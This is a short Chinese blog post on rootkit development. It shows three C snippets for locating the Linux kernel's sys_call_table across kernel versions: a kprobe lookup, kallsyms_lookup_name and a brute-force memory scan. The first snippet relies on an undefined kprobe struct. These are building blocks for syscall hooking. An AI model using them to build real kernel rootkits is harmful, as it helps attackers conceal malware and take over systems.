[C++知识库]0x00 Rootkit---获取sys_call_table

内核版本不一致导致获取sys_call_table的方式都不一样，本章总结了三种方式获取sys_call_table。

1. 5.7.0内核版本以上。

#include <linux/kprobes.h>
unsigned long *syscall_table;
typedef unsigned long (*kallsyms_lookup_name_t)(const char *name);
kallsyms_lookup_name_t kallsyms_lookup_name;
register_kprobe(&kp);
kallsyms_lookup_name = (kallsyms_lookup_name_t) kp.addr;
unregister_kprobe(&kp);
syscall_table = (unsigned long*)kallsyms_lookup_name("sys_call_table");
return syscall_table;

2. 4.4.0内核版本以上，5.7.0内核版本以下。

unsigned long *syscall_table;
syscall_table = (unsigned long*)kallsyms_lookup_name("sys_call_table");
return syscall_table;

3. 4.4.0内核版本以下。

# 直接暴力获取内存，高版本无法暴力，会直接卡死。
unsigned long *syscall_table;
unsigned long int i;
for (i = (unsigned long int)sys_close; i < ULONG_MAX;
i += sizeof(void *)) {
syscall_table = (unsigned long *)i;

if (syscall_table[__NR_close] == (unsigned long)sys_close)
return syscall_table;
}
return NULL;

与50位技术专家面对面

20年技术见证，附赠技术全景图